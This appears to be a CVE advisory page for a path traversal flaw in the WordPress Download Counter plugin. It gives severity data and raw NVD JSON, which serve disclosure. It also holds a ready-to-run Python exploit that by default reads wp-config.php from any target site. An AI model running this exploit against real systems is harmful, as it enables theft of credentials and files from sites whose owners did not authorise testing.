Security Vulnerability Report
中文
CVE-2025-60242 CVSS 7.5 HIGH

CVE-2025-60242

Published: 2025-11-06 16:16:07
Last Modified: 2026-04-27 16:16:34

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Anatoly Download Counter download-counter allows Path Traversal.This issue affects Download Counter: from n/a through <= 1.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Download Counter插件 <= 1.4(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60242 Path Traversal PoC # Target: WordPress Download Counter Plugin <= 1.4 # Vulnerability: Arbitrary File Download via Path Traversal import requests import sys def exploit_cve_2025_60242(target_url, file_path='../../wp-config.php'): """ Exploit path traversal vulnerability in Download Counter plugin Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (using traversal sequences) Returns: Content of the requested file """ # Construct the malicious URL with path traversal payload exploit_url = f"{target_url}/wp-content/plugins/download-counter/download.php" # Add path traversal payload to the file parameter params = { 'download': file_path } try: print(f"[*] Target: {target_url}") print(f"[*] Requesting file: {file_path}") response = requests.get(exploit_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved ({len(response.content)} bytes)") print("=" * 60) print(response.text[:1000]) # Print first 1000 chars return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-60242.py <target_url> [file_path]") print("Example: python cve-2025-60242.py http://target.com ../../wp-config.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else '../../wp-config.php' exploit_cve_2025_60242(target, file_path) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60242", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:06.917", "lastModified": "2026-04-27T16:16:34.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Anatoly Download Counter download-counter allows Path Traversal.This issue affects Download Counter: from n/a through <= 1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/download-counter/vulnerability/wordpress-download-counter-plugin-1-4-arbitrary-file-download-vulnerability?_s_id=cve", "source": "[email protected]"}]}}